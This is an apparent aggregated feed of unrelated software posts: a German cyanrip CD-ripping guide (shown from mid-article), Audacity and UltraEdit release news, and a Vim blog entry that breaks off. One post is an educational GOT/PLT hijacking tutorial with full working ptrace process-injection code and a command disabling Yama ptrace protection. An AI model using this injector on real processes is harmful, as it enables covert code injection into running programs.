Die Eingabe von Metadaten, also Song- und Albumtiteln, kann man sich bei den meisten CDs sparen. Denn ein Großteil der kommerziellen CDs ist schon in der Community-gepflegten MusicBrainz-Datenbank enthalten. Allerdings muss die einzigartige ID der CD (DiscID) einem einzigen Release in der MusicBrainz-Datenbank zugeordnet sein. Hier gibt es manchmal Sonderfälle und leicht unterschiedliche Szenarien.

Wir geben jetzt den Befehl

cyanrip -I

(großes i, kein kleines L!) ein und schauen uns die Konsolen-Ausgabe an.

Variante 1: Der DiscID ist ein Release zugeordnet

Das wird der häufigste Fall sein. Wenn die CD und die Tracks offensichtlich erkannt werden und relativ am Anfang der langen (!) Konsolen-Ausgabe etwas steht wie …

Found MusicBrainz release: [Name der CD]

… ist das super. Heißt nämlich, dass nichts weiter getan werden muss und wir direkt zum Teil „CD rippen“ weiter unten springen können.

Variante 2: Der DiscID sind mehrere Releases zugeordnet

Wenn der Output ungefähr so aussieht …

Multiple releases found in database for DiscID PmK_Kg1r_ND6zc1h51tErEbX2IM-:
    1 (ID: 712d55b2-9f62-4823-96d9-9e94efa88c07): Jelängerjelieber (DE) (2004)
    2 (ID: 82718613-f2c3-3f39-869d-a047f21e0041): Jelängerjelieber (ltd.) (DE) (2 CDs) (2005-06-13)

wurden mehrere CD-Varianten gefunden. Die erste ist hier das reguläre Album „Jelängerjelieber“ der Band Klee, das zweite eine inhaltsgleiche Disc, aber als Teil einer Doppel-CD. Oft sind′s auch verschiedene Ländervarianten. Ich habe das Klee-Album jedenfalls als Einzel-CD, also merke ich mir den Eintrag in der Liste (1) oder kopiere mir die ID (die lange Zeichenfolge, die mit 712d55b2 beginnt).

Variante 3: Die CD wird nicht erkannt

Eher selten spuckt die Konsole so etwas aus:

Unable to find release info for this CD, and metadata hasn't been manually added!
Please help improve the MusicBrainz DB by submitting the disc info via the following URL:
[lange URL]

Das bedeutet, dass die CD nicht auf Anhieb erkannt wird. Aber selbst dann kommen wir oft noch ums manuelle Eintragen der Metadaten herum. Denn häufig ist die jeweilige CD nämlich durchaus in der MusicBrainz-Datenbank erfasst, nur eben nicht der spezifischen DiscID zugeordnet.

Wir rufen die URL auf, die in der Konsole steht – entweder per Klick mit gedrückter Strg-Taste oder per Copy & Paste. Auf der folgenden Seite können wir den Katalog nach Veröffentlichungen durchsuchen und, falls vorhanden, die CD der Veröffentlichung zuweisen. (Dafür ist möglicherweise ein kostenloser MusicBrainz-Account notwendig.)

Sobald die CD registriert ist, kann man ganz normal in der Konsole weitermachen.

Aber was, wenn die CD auch bei MusicBrainz unbekannt ist? Dann kann man sie als neuen Release hinzufügen. Klar, das ist etwas aufwändiger und zeitintensiv. Aber: Einmal hinzugefügt, kann in Zukunft auch jeder andere Nutzer auf die Daten zugreifen und diese CDs automatisch rippen lassen. Weil man bei vielen anderen Rips ja von der Vorarbeit der Community profitiert, kann man das ruhig mal machen, finde ich.

Falls man keine Lust hat oder es sowieso nicht sinnvoll ist, bei privaten Aufnahmen oder Mixtapes zum Beispiel, kann man es natürlich auch lassen. In so einem Fall rippe ich einfach ohne Titel und füge die im Nachgang mit mp3tag hinzu, dazu später mehr.

CD rippen

Der Befehl zum Rippen sieht, Stand jetzt, so aus:

cyanrip -s 6 -R 1 -T simple

Das -s 6 ist der Offset für mein Laufwerk, siehe oben.
Das -R 1 bewirkt, dass bei mehreren gefundenen Ergebnissen die erste CD-Variante in der eben ermittelten Liste für Metadaten herangezogen wird.
Das -T simple bewirkt, dass exotische Sonderzeichen bei Verzeichnis- und Dateinamen vermieden werden. Auf Windows-Systemen gibt es sonst Probleme.

Standardmäßig wird ins FLAC-Format gerippt. Das heißt: Man bekommt Dateien, die zwar groß, aber verlustfrei komprimiert und damit perfekt zum Archivieren geeignet sind. Wer lieber kleinere Files haben möchte, kann den Parameter -o ergänzen. Mit

cyanrip -s 6 -R 1 -T simple -o mp3 -b 256

erhält man MP3-Dateien in Beinahe-CD-Qualität, die nur einen Bruchteil des Dateigewichts haben. Wer sich nicht entscheiden kann, bekommt mit

cyanrip -s 6 -R 1 -T simple -o flac,mp3 -b 256

sogar beides, also FLAC- und MP3-Dateien. Ich mache für diesen Artikel aber mit FLAC weiter, den Parameter -o lasse ich also weg.

Die gerippten Files landen normalerweise im eigenen home-Verzeichnis in einem Unterverzeichnis mit dem Namen Albumname [FLAC]. Das ist weder schön noch übersichtlich. Stattdessen kann man cyanrip auch gleich mitgeben, wie man Verzeichnis- und Dateinamen haben möchte. Da hat jede:r seine Präferenzen. Ich bin nach einigem Herumprobieren schließlich bei diesem Befehl gelandet:

cyanrip -s 6 -R 1 -T simple -D "CD-Rips/{album_artist}/{album_artist} - {album} ({date}){if #totaldiscs# > #1#/CD|disc|}" -F "{track}{if #artist# != #album_artist# - |artist|} - {title}"

Das sieht komplizierter aus, als es ist. Mit dem Befehl weise ich cyanrip an, in einen Unterordner CD-Rips die Tracks nach dem Schema /Künstler/Künstler - Albumtitel (Jahr)/Track - Tracktitel.flac zu rippen. Zwei Sonderfälle werden zusätzlich berücksichtigt:

Bei CDs mit verschiedenen Künstlern oder Einzeltracks mit Featured Artists werden die Künstler zusätzlich in den Dateinamen geschrieben.
Bei Doppel- und Mehrfach-CDs werden für jede Disc Unterordner erstellt.

Schmucklos, aber schnell: Wenn cyanrip loslegt und die CD mitspielt, landet deren Inhalt schnell auf der Festplatte.

Wenn man „seinen“ Befehl gefunden und in die Konsole gehackt hat, geht das Gerippe (haha) los. Die Dauer variiert je nach Zerkratzungsgrad der CD, Laufwerksgeschwindigkeit und CPU-Power, grob kann man aber bei einem halbwegs normalen Rechner eine Geschwindigkeit erwarten, die drei- bis fünfmal so schnell wie die Gesamtdauer der CD ist.

Metadaten beackern, Coverbilder ergänzen

Nach dem Rippen jage ich die Tracks grundsätzlich noch einmal durch den ohnehin unersetzlichen Metadaten-Anreicherer MusicBrainz Picard, um auch wirklich den letzten Rest an fehlenden Metadaten zu ergänzen und Coverbilder zu ergänzen.

In schwierigen Fällen oder wenn ich keine Metadaten habe, bearbeite ich die Trackdaten auch per Hand. Unter Windows habe ich dafür immer mp3tag genutzt. Unter Linux gibt es das ähnlich aufgebaute puddletag, mit dem ich aber trotzdem irgendwie nicht richtig zurechtkomme. Supererweise läuft mp3tag, per Wine emuliert, auch ganz brauchbar unter Linux.

Tipp zu Coverbildern

Die von cyanrip automatisch heruntergeladenen Coverbilder aus dem Netz sind leider oft Grütze. Fast immer tausche ich sie beim Taggen noch durch eigene Scans oder anderweitiges Bildmaterial aus, das man im Netz finden kann.

Ein Tipp, mit dem man hervorragende Cover-Bilder bekommt: Gewünschtes Album bei YouTube-Music suchen (Beispiel: Klee – Jelängerjelieber), Rechtsklick aufs Cover-Bild → „Grafik in neuem Tab öffnen“, dann die URL des Bildes anpassen. Ganz hinten in der Bild-URL befindet sich ein Parameter wie =w544-h544-l90-rj. Den kann man auf =w8000 ändern und man erhält eine große Version des CD-Covers. Die speichere ich mir als cover.jpg im Album-Ordner und, je nach Größe der Bilddatei eventuell leicht herunterskaliert, in den FLAC-Files.

Viel Spaß beim Archivieren!

04.06.2026: Erstveröffentlichung
Update 07.06.2026: Verfeinerten Befehl hinzugefügt, der Mehrfach-CDs berücksichtigt.
Update 08.06.2026: Verschiedene Szenarien für die Ermittlung des MusicBrainz-Releases hinzugefügt, Sanitize-Parameter und den Rest leicht überarbeitet.

Introducing the LCD7-PANEL-LIME2: A Ready-to-Mount Linux Touch Panel Computer

Sat, 20 Jun 2026 13:49:14 +0000

If you’ve ever needed a complete, industrial-grade touchscreen computer that you can simply bolt onto a panel and power up, the LCD7-PANEL-LIME2 is built exactly for that job. What it is The LCD7-PANEL-LIME2 is a fully assembled all-in-one unit that combines four things Olimex usually sells separately into a single, ready-to-deploy package: Everything arrives assembled, […]

Linux hacking part 11: GOT/PLT hijacking. Simple C example. - cocomelonc

Sat, 20 Jun 2026 08:44:36 +0000

﷽

Hello, cybersecurity enthusiasts and white hackers!

This post is based on an exercise for my students and readers.

In the previous post we explored shared library injection via LD_PRELOAD. Today we go one level deeper: instead of loading a new library, we surgically patch a pointer inside a running process to redirect one specific function call. No new files on disk, no LD_PRELOAD, just a few bytes overwritten at the right address.

concept

When a Linux binary calls an external function like puts, the call does not go directly to libc. Instead it passes through two structures baked into the ELF binary itself.

PLT - Procedure Linkage Table. - a small table of stubs in the .plt section. Each stub is three instructions:

GOT - Global Offset Table. - a writeable array of pointers in .got.plt. Before the first call to puts, the GOT entry points back into the PLT (to the push instruction above). On the first call the dynamic linker resolves the real libc address and writes it into the GOT. Every subsequent call skips the resolver and jumps straight to libc. This is called lazy binding.

practical example

The attack surface is obvious: the GOT is a writeable table of function pointers. If we overwrite the puts entry with our own address, every future call to puts in the victim will land in our code instead of libc.

The technique in four steps:

attach to the victim with ptrace so we can read and write its memory.
parse the victim’s ELF binary to locate the puts entry in .got.plt.
inject a mmap syscall into the victim to allocate a page of executable memory, then write our hook shellcode there.
overwrite the GOT entry with the address of the shellcode and detach.

Let’s start from victim. The victim is intentionally minimal - it just announces its PID and prints "meow" in a loop so we can clearly see the moment the hook takes effect (meow.c):

/*
 * meow.c
 * simple target process for GOT/PLT hijacking demo
 * author: @cocomelonc
 * https://cocomelonc.github.io/linux/2026/06/17/linux-hacking-11.html
 */
#include <stdio.h>
#include <unistd.h>

int main(void) {
  printf("victim pid: %d\n", getpid());
  while (1) {
    puts("meow");
    sleep(2);
  }
  return 0;
}

Now the interesting part. Let me walk through hack.c (our hijacker) section by section.

First we need to hook shellcode - our hook replaces puts entirely. It calls write(1, "[HOOKED] meow\n", 14) directly via syscall (avoiding libc) and then returns to the caller. The string is appended at the end of the shellcode and addressed with a RIP-relative lea:

In C:

static unsigned char hook_sc[] = {
  0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,     /* mov rax, 1            */
  0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00,     /* mov rdi, 1            */
  0x48, 0x8d, 0x35, 0x0a, 0x00, 0x00, 0x00,     /* lea rsi, [rip+0x0a]   */
  0x48, 0xc7, 0xc2, 0x0e, 0x00, 0x00, 0x00,     /* mov rdx, 14           */
  0x0f, 0x05,                                   /* syscall               */
  0xc3,                                         /* ret                   */
  '[','H','O','O','K','E','D',']',' ','m','e','o','w','\n'
};

Next, writing to victim memory - we need a helper that writes an arbitrary byte buffer into the victim’s address space in 8-byte chunks using PTRACE_POKEDATA. The last chunk (if the buffer is not a multiple of 8) uses a read-modify-write to avoid corrupting adjacent bytes:

static void poke_bytes(pid_t pid, uint64_t addr, void *data, size_t len) {
  size_t i;
  for (i = 0; i + 8 <= len; i += 8) {
    uint64_t word;
    memcpy(&word, (uint8_t *)data + i, 8);
    ptrace(PTRACE_POKEDATA, pid, addr + i, word);
  }
  if (i < len) {
    uint64_t word = ptrace(PTRACE_PEEKDATA, pid, addr + i, NULL);
    memcpy(&word, (uint8_t *)data + i, len - i);
    ptrace(PTRACE_POKEDATA, pid, addr + i, word);
  }
}

at the next step we need syscall injection. - we need to allocate a page of PROT_READ|PROT_WRITE|PROT_EXEC memory inside the victim. The trick: save the victim’s registers and the current instruction at RIP, overwrite those two bytes with a syscall opcode (0x0f 0x05), set the registers to describe a mmap call, single-step one instruction, then read RAX for the returned address and restore everything:

static uint64_t inject_mmap(pid_t pid) {
  struct user_regs_struct regs, saved;
  uint64_t saved_instr;

  ptrace(PTRACE_GETREGS, pid, NULL, &saved);
  regs = saved;

  // save the 8 bytes at RIP and patch the first two to `syscall`
  saved_instr = ptrace(PTRACE_PEEKTEXT, pid, saved.rip, NULL);
  ptrace(PTRACE_POKETEXT, pid, saved.rip,
    (saved_instr & ~(uint64_t)0xffff) | 0x050f);

  // mmap(NULL, 4096, PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
  regs.rax = 9;            /* SYS_mmap                  */
  regs.rdi = 0;            /* addr   = NULL             */
  regs.rsi = 4096;         /* length = 4096             */
  regs.rdx = 7;            /* PROT_READ|PROT_WRITE|PROT_EXEC */
  regs.r10 = 0x22;         /* MAP_PRIVATE|MAP_ANONYMOUS */
  regs.r8  = (uint64_t)-1; /* fd     = -1               */
  regs.r9  = 0;            /* offset = 0                */
  ptrace(PTRACE_SETREGS, pid, NULL, &regs);

  ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
  waitpid(pid, NULL, 0);

  ptrace(PTRACE_GETREGS, pid, NULL, &regs);
  uint64_t page = regs.rax;

  // restore original instruction and register state
  ptrace(PTRACE_POKETEXT, pid, saved.rip, saved_instr);
  ptrace(PTRACE_SETREGS, pid, NULL, &saved);

  return page;
}

after detaching the victim resumes exactly where it was, as if nothing happened - except there is now a new anonymous page in its address space containing our shellcode.

Next step. We need to finding puts@got. - we open /proc/<pid>/exe (the actual ELF on disk), read it into a buffer, then walk the section headers looking for .rela.plt, .dynsym, and .dynstr. Each entry in .rela.plt pairs a GOT slot address (r_offset) with a dynamic symbol index. We match the symbol name "puts" and return r_offset. For a -no-pie binary this is the absolute virtual address:

static uint64_t find_puts_got(pid_t pid) {
  char path[64];
  snprintf(path, sizeof(path), "/proc/%d/exe", pid);
  int fd = open(path, O_RDONLY);
  if (fd < 0) { perror("open exe"); return 0; }

  uint8_t *buf = NULL;
  size_t sz = 0;
  uint8_t tmp[4096];
  ssize_t n;
  while ((n = read(fd, tmp, sizeof(tmp))) > 0) {
    buf = realloc(buf, sz + n);
    memcpy(buf + sz, tmp, n);
    sz += n;
  }
  close(fd);

  Elf64_Ehdr *ehdr   = (Elf64_Ehdr *)buf;
  Elf64_Shdr *shdrs  = (Elf64_Shdr *)(buf + ehdr->e_shoff);
  char *shstrtab     = (char *)(buf + shdrs[ehdr->e_shstrndx].sh_offset);

  Elf64_Shdr *rela_plt = NULL, *dynsym_s = NULL, *dynstr_s = NULL;
  for (int i = 0; i < ehdr->e_shnum; i++) {
    char *name = shstrtab + shdrs[i].sh_name;
    if (!strcmp(name, ".rela.plt")) rela_plt = &shdrs[i];
    if (!strcmp(name, ".dynsym"))   dynsym_s  = &shdrs[i];
    if (!strcmp(name, ".dynstr"))   dynstr_s  = &shdrs[i];
  }

  if (!rela_plt || !dynsym_s || !dynstr_s) {
    fprintf(stderr, "required ELF sections not found\n");
    free(buf); return 0;
  }

  Elf64_Rela *relas  = (Elf64_Rela *)(buf + rela_plt->sh_offset);
  int         count  = rela_plt->sh_size / sizeof(Elf64_Rela);
  Elf64_Sym  *syms   = (Elf64_Sym  *)(buf + dynsym_s->sh_offset);
  char       *strtab = (char       *)(buf + dynstr_s->sh_offset);

  uint64_t addr = 0;
  for (int i = 0; i < count; i++) {
    uint32_t idx = ELF64_R_SYM(relas[i].r_info);
    if (!strcmp(strtab + syms[idx].st_name, "puts")) {
      addr = relas[i].r_offset;
      break;
    }
  }

  free(buf);
  return addr;
}

Finally, main - putting it all together. - attach, find the GOT entry, inject mmap, write shellcode, overwrite GOT, detach:

int main(int argc, char *argv[]) {
  if (argc < 2) {
    fprintf(stderr, "usage: %s <pid>\n", argv[0]);
    return 1;
  }
  pid_t pid = (pid_t)atoi(argv[1]);

  printf("attaching to pid %d...\n", pid);
  if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
    perror("ptrace attach"); return 1;
  }
  waitpid(pid, NULL, 0);
  printf("attached\n");

  uint64_t got_puts = find_puts_got(pid);
  if (!got_puts) {
    fprintf(stderr, "puts@got not found\n");
    ptrace(PTRACE_DETACH, pid, NULL, NULL); return 1;
  }
  printf("puts@got: 0x%lx\n", got_puts);

  printf("injecting mmap syscall...\n");
  uint64_t page = inject_mmap(pid);
  if ((int64_t)page < 0) {
    fprintf(stderr, "mmap failed\n");
    ptrace(PTRACE_DETACH, pid, NULL, NULL); return 1;
  }
  printf("rwx page allocated: 0x%lx\n", page);

  printf("writing hook shellcode...\n");
  poke_bytes(pid, page, hook_sc, sizeof(hook_sc));
  printf("%zu bytes written\n", sizeof(hook_sc));

  printf("overwriting puts@got...\n");
  ptrace(PTRACE_POKEDATA, pid, got_puts, page);
  printf("puts@got -> 0x%lx\n", page);

  ptrace(PTRACE_DETACH, pid, NULL, NULL);
  printf("detached. victim is now hooked!\n");
  return 0;
}

So, full source code of meow. c:

/*
 * meow.c
 * simple target process for GOT/PLT hijacking demo
 * author: @cocomelonc
 * https://cocomelonc.github.io/linux/2026/06/17/linux-hacking-11.html
 */
#include <stdio.h>
#include <unistd.h>

int main(void) {
  printf("victim pid: %d\n", getpid());
  while (1) {
    puts("meow");
    sleep(2);
  }
  return 0;
}

Full source code of hack.c:

/*
 * hack.c
 * GOT/PLT hijacking: attaches to a running process via ptrace,
 * injects an rwx page, writes hook shellcode, overwrites puts@got
 * author: @cocomelonc
 * https://cocomelonc.github.io/linux/2026/06/17/linux-hacking-11.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdint.h>

/*
 * hook shellcode: write(1, "[HOOKED] meow\n", 14) + ret
 * the string is appended at the end, addressed via rip-relative lea
 *
 * layout:
 *   0x00  mov rax, 1      (7 bytes)
 *   0x07  mov rdi, 1      (7 bytes)
 *   0x0e  lea rsi, [rip+0x0a] (7 bytes, RIP after = 0x15)
 *   0x15  mov rdx, 14     (7 bytes)
 *   0x1c  syscall        (2 bytes)
 *   0x1e  ret          (1 byte)
 *   0x1f  "[HOOKED] meow\n"   (14 bytes)
 */
static unsigned char hook_sc[] = {
  0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,
  0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x35, 0x0a, 0x00, 0x00, 0x00,
  0x48, 0xc7, 0xc2, 0x0e, 0x00, 0x00, 0x00,
  0x0f, 0x05,
  0xc3,
  '[','H','O','O','K','E','D',']',' ','m','e','o','w','\n'
};

/* write len bytes of data into the tracee at addr, 8 bytes at a time */
static void poke_bytes(pid_t pid, uint64_t addr, void *data, size_t len) {
  size_t i;
  for (i = 0; i + 8 <= len; i += 8) {
    uint64_t word;
    memcpy(&word, (uint8_t *)data + i, 8);
    ptrace(PTRACE_POKEDATA, pid, addr + i, word);
  }
  if (i < len) {
    /* read-modify-write for the last partial chunk */
    uint64_t word = ptrace(PTRACE_PEEKDATA, pid, addr + i, NULL);
    memcpy(&word, (uint8_t *)data + i, len - i);
    ptrace(PTRACE_POKEDATA, pid, addr + i, word);
  }
}

/*
 * inject a mmap(NULL,4096,PROT_RWX,MAP_PRIVATE|MAP_ANON,-1,0) syscall
 * into the tracee by patching two bytes at RIP to 0f 05 (syscall),
 * single-stepping, then restoring registers and the original instruction
 */
static uint64_t inject_mmap(pid_t pid) {
  struct user_regs_struct regs, saved;
  uint64_t saved_instr;

  ptrace(PTRACE_GETREGS, pid, NULL, &saved);
  regs = saved;

  saved_instr = ptrace(PTRACE_PEEKTEXT, pid, saved.rip, NULL);
  ptrace(PTRACE_POKETEXT, pid, saved.rip,
       (saved_instr & ~(uint64_t)0xffff) | 0x050f);

  regs.rax = 9;
  regs.rdi = 0;
  regs.rsi = 4096;
  regs.rdx = 7;
  regs.r10 = 0x22;
  regs.r8  = (uint64_t)-1;
  regs.r9  = 0;
  ptrace(PTRACE_SETREGS, pid, NULL, &regs);

  ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
  waitpid(pid, NULL, 0);

  ptrace(PTRACE_GETREGS, pid, NULL, &regs);
  uint64_t page = regs.rax;

  ptrace(PTRACE_POKETEXT, pid, saved.rip, saved_instr);
  ptrace(PTRACE_SETREGS, pid, NULL, &saved);

  return page;
}

/* parse /proc/<pid>/exe and return the virtual address of puts@got */
static uint64_t find_puts_got(pid_t pid) {
  char path[64];
  snprintf(path, sizeof(path), "/proc/%d/exe", pid);
  int fd = open(path, O_RDONLY);
  if (fd < 0) { perror("open exe"); return 0; }

  uint8_t *buf = NULL;
  size_t sz = 0;
  uint8_t tmp[4096];
  ssize_t n;
  while ((n = read(fd, tmp, sizeof(tmp))) > 0) {
    buf = realloc(buf, sz + n);
    memcpy(buf + sz, tmp, n);
    sz += n;
  }
  close(fd);

  Elf64_Ehdr *ehdr   = (Elf64_Ehdr *)buf;
  Elf64_Shdr *shdrs  = (Elf64_Shdr *)(buf + ehdr->e_shoff);
  char *shstrtab   = (char *)(buf + shdrs[ehdr->e_shstrndx].sh_offset);

  Elf64_Shdr *rela_plt = NULL, *dynsym_s = NULL, *dynstr_s = NULL;
  for (int i = 0; i < ehdr->e_shnum; i++) {
    char *name = shstrtab + shdrs[i].sh_name;
    if (!strcmp(name, ".rela.plt")) rela_plt = &shdrs[i];
    if (!strcmp(name, ".dynsym"))   dynsym_s  = &shdrs[i];
    if (!strcmp(name, ".dynstr"))   dynstr_s  = &shdrs[i];
  }

  if (!rela_plt || !dynsym_s || !dynstr_s) {
    fprintf(stderr, "required ELF sections not found\n");
    free(buf); return 0;
  }

  Elf64_Rela *relas  = (Elf64_Rela *)(buf + rela_plt->sh_offset);
  int     count  = rela_plt->sh_size / sizeof(Elf64_Rela);
  Elf64_Sym  *syms   = (Elf64_Sym  *)(buf + dynsym_s->sh_offset);
  char     *strtab = (char     *)(buf + dynstr_s->sh_offset);

  uint64_t addr = 0;
  for (int i = 0; i < count; i++) {
    uint32_t idx = ELF64_R_SYM(relas[i].r_info);
    if (!strcmp(strtab + syms[idx].st_name, "puts")) {
      addr = relas[i].r_offset;
      break;
    }
  }

  free(buf);
  return addr;
}

int main(int argc, char *argv[]) {
  if (argc < 2) {
    fprintf(stderr, "usage: %s <pid>\n", argv[0]);
    return 1;
  }
  pid_t pid = (pid_t)atoi(argv[1]);

  printf("attaching to pid %d...\n", pid);
  if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
    perror("ptrace attach"); return 1;
  }
  waitpid(pid, NULL, 0);
  printf("attached\n");

  uint64_t got_puts = find_puts_got(pid);
  if (!got_puts) {
    fprintf(stderr, "puts@got not found\n");
    ptrace(PTRACE_DETACH, pid, NULL, NULL); return 1;
  }
  printf("puts@got: 0x%lx\n", got_puts);

  printf("injecting mmap syscall...\n");
  uint64_t page = inject_mmap(pid);
  if ((int64_t)page < 0) {
    fprintf(stderr, "mmap failed\n");
    ptrace(PTRACE_DETACH, pid, NULL, NULL); return 1;
  }
  printf("rwx page allocated: 0x%lx\n", page);

  printf("writing hook shellcode...\n");
  poke_bytes(pid, page, hook_sc, sizeof(hook_sc));
  printf("%zu bytes written\n", sizeof(hook_sc));

  printf("overwriting puts@got...\n");
  ptrace(PTRACE_POKEDATA, pid, got_puts, page);
  printf("puts@got -> 0x%lx\n", page);

  ptrace(PTRACE_DETACH, pid, NULL, NULL);
  printf("detached. victim is now hooked!\n");
  return 0;
}

demo

First, compile the victim with -no-pie (fixed addresses make the GOT entry address absolute, exactly what .rela.plt stores) and -z norelro (keeps the GOT writable):

gcc -no-pie -z norelro -o meow meow.c

Run it in a first terminal and note the PID it prints:

./meow

Compile the hijacker:

gcc -o hack hack.c

On some systems ptrace across unrelated processes requires either root or relaxing the Yama LSM scope:

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Now run the hijacker in a second terminal, passing the victim’s PID:

./hack <pid>

Switch back to the first terminal. The victim is still running, the loop was never interrupted, but every puts("meow") now calls our hook shellcode:

We can also confirm the GOT was overwritten before and after using gdb or readelf:

# before: shows the libc puts address
readelf -r meow | grep puts

# at runtime, inspect the live GOT entry
cat /proc/<pid>/maps | grep rwxp

It works perfectly!

why this matters

This technique is a foundational primitive in Linux offensive tooling. It requires no file on disk (the shellcode lives in anonymous memory), leaves a minimal footprint, and survives as long as the target process is running. Real-world malware families such as Winnti abuse similar in-memory patching approaches to intercept calls and hide activity.

From a defensive perspective, GOT integrity can be monitored with tools that compare the runtime GOT entries against the expected libc addresses.

I hope this post with practical examples is useful for malware researchers, linux programmers and everyone who is interested in linux hacking techniques.

Linux hacking part 10: Shared library injection and hijacking. Simple C examples
Linux malware development 3: linux process injection with ptrace. Simple C example
Winnti
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine

Beta do Audacity 4

Fri, 19 Jun 2026 18:17:58 +0000

Já está disponível o beta do Audacity 4, nova versão — com visual e ícone novos — do tradicional editor de áudio FOSS (Linux, macOS e Windows). Faça becape de projetos feitos na versão 3.x: esses abrem no Audacity 4, mas alterações salvas (ou novos projetos) nele não têm retrocompatibilidade com o Audacity 3.x, segundo o Omg! Ubuntu.

Lower CPU usage, better stability, and smoother editing: What’s new in UltraEdit 2025.0 for macOS

Fri, 19 Jun 2026 18:07:24 +0000

We know our macOS users have been waiting for more attention on these platforms. UltraEdit for Windows has traditionally been the most mature version of the product, and we know there is still work to do to bring the macOS experience closer to that level.

UltraEdit 2025.0 for macOS is an important step in that direction.

This release is focused on stability, reliability, performance, and the core editing experience. You’ll find lower CPU usage in specific editing scenarios, fewer interruptions, better handling of multi-file workflows, improved terminal compatibility, more predictable search and replace behavior, and a range of UI and platform-specific refinements. It is not the final step. But it is a meaningful one.

Let’s take a closer look at what’s new in UltraEdit 2025.0 for macOS.

Better stability and lower CPU usage

One of the biggest areas of improvement in UltraEdit 2025.0 is stability.

This release includes fixes for repeated crashes while editing on macOS, crashes when modifying settings, crashes related to wordfile paths, and startup crashes with certain configurations.

We also addressed a hang that could lead to 100% CPU usage while editing. In affected scenarios, CPU usage has been reduced by at least 50%, helping UltraEdit feel more stable and responsive during longer editing sessions.

This release also improves behavior around multi-file workflows, including a hang that could happen when working with multiple open files, invoking New Window, and closing windows.

If you use UltraEdit for larger editing sessions, longer-running work, or multiple open files, these improvements should make the experience feel smoother and more dependable.

Smoother everyday editing behavior

UltraEdit 2025.0 also includes several improvements to the core editing experience on macOS.

These are the kinds of updates that make daily work feel more predictable: how navigation behaves, how selections work, how files are detected, how dialogs respond, and how UltraEdit handles specific characters and editing modes.

This release includes improvements such as:

- Better arrow key navigation at file boundaries while editing
- Improved detection of files that are already open
- Improved behavior when replacing “En space” characters in ASCII and hex mode
- Improved undo behavior in hex mode
- Improved Replace All behavior for umlauted characters in UTF-8 files
- Improved regular expression behavior where “Perl” was sometimes not shown as an option
- Improved double-click selection behavior for quoted strings and strings containing $ and >
- Improved behavior when switching from hex mode back to normal edit mode
- Fixed a spelling issue in the Hex Find/Replace dialog

Together, these changes help make UltraEdit feel more consistent across the editing workflows you use every day.

Better file tabs and multi-file workflows

This release also improves how UltraEdit behaves when working with multiple files and tabs.

If you often keep many files open at once, you’ll notice improvements around tab sorting, multiline tabs, file detection, and unexpected tab behavior.

UltraEdit 2025.0 adds Sort File Tabs to the list of commands that can be added to the toolbar, giving you quicker access to tab organization.

It also includes fixes for:

- Multiline tabs behaving unexpectedly when a new file forces a second row of tabs
- Screen splits appearing unexpectedly when clicking one of several open file tabs
- Blank edit files being created unexpectedly after clicking through the tab bar row
- Favorite Files dialog sizing and resizing behavior
- UltraEdit creating Edit files in the user’s home directory when it should not
- UltraEdit appending .s to newly created files saved with a .sql extension

The goal is to make multi-file work feel cleaner, especially when your editing session starts to grow.

More flexible commands, toolbars, and project files

UltraEdit 2025.0 adds a few useful workflow improvements for users who customize their setup or move between systems.

On macOS, you can now move custom toolbars above the edit window, giving you more flexibility in how your workspace is arranged.

This release also adds support for specifying line and column position from the command line, which is useful when opening files directly at a specific location.

Project files are now more portable, too. They can be created on one system and moved to another more easily, helping users who work across machines or environments.

JSON, live preview, and markdown refinements

UltraEdit 2025.0 also improves several content-specific editing workflows.

You can now use Reformat JSON and Compress JSON on files even when JSON syntax highlighting has not been applied. This makes JSON cleanup easier when working with files that contain JSON-like content but are not formally detected or highlighted as JSON.

For markdown users, this release includes improvements to bold text highlighting and live preview behavior, including cases where live preview did not display content as expected or rendered incorrectly after adding and saving a blank line.

These updates help make UltraEdit more dependable for structured content, documentation, markdown files, and JSON cleanup.

macOS-specific improvements

UltraEdit 2025.0 includes several refinements specifically for macOS users.

The release adds support for macOS dictation and transcription, making it easier to use system-level input features inside UltraEdit.

It also improves several macOS application behavior issues, including:

- UltraEdit not coming to the foreground when its icon is clicked in the menu bar
- UltraEdit not remembering the desktop it is assigned to
- UltraEdit not adjusting size when Mission Control is invoked
- Crashes when modifying settings on macOS
- Support for moving custom toolbars above the edit window

These changes are part of making UltraEdit feel more natural and reliable on macOS.

An important step for macOS

UltraEdit 2025.0 for macOS is focused on the things that matter most for these platforms right now: stability, reliability, performance, and smoother everyday editing. We know there is still work to do. This release does not close every gap between Windows and macOS, but it does represent a clear step forward.

With lower CPU usage in affected scenarios, improved editing stability, better multi-file behavior, stronger terminal compatibility, more predictable search and replace behavior, and platform-specific refinements for macOS, UltraEdit 2025.0 gives you a more dependable experience across both platforms. And it is just the beginning of our renewed focus on making UltraEdit better across every operating system you use.

Download UltraEdit 2025.0 for macOS

UltraEdit 2025.0 for macOS is available now.

Update today to get the latest stability, performance, editing, terminal, toolbar, and platform-specific improvements.

Download UltraEdit 2025.0 for macOS

The post Lower CPU usage, better stability, and smoother editing: What’s new in UltraEdit 2025.0 for macOS appeared first on UltraEdit.

Vim Carnival Entry: "The Motion that Changed Everything."

Fri, 19 Jun 2026 13:02:39 +0000

Vim Carnival Entry: "The Motion that Changed Everything."

Tue 02 June 2026

Fedifriend and fellow vim-addict Hyde is hosting what's called a "Vim Carnival", where someone sets a topic and encourages others to blog about the subject at hand concerning vim.

With permission, I'm going to slightly modify the subject to apply to nvi, but the option I will be explain also works in vim.

First, a little background (read: ADHD oversplaining go BRRRR!)...

Background

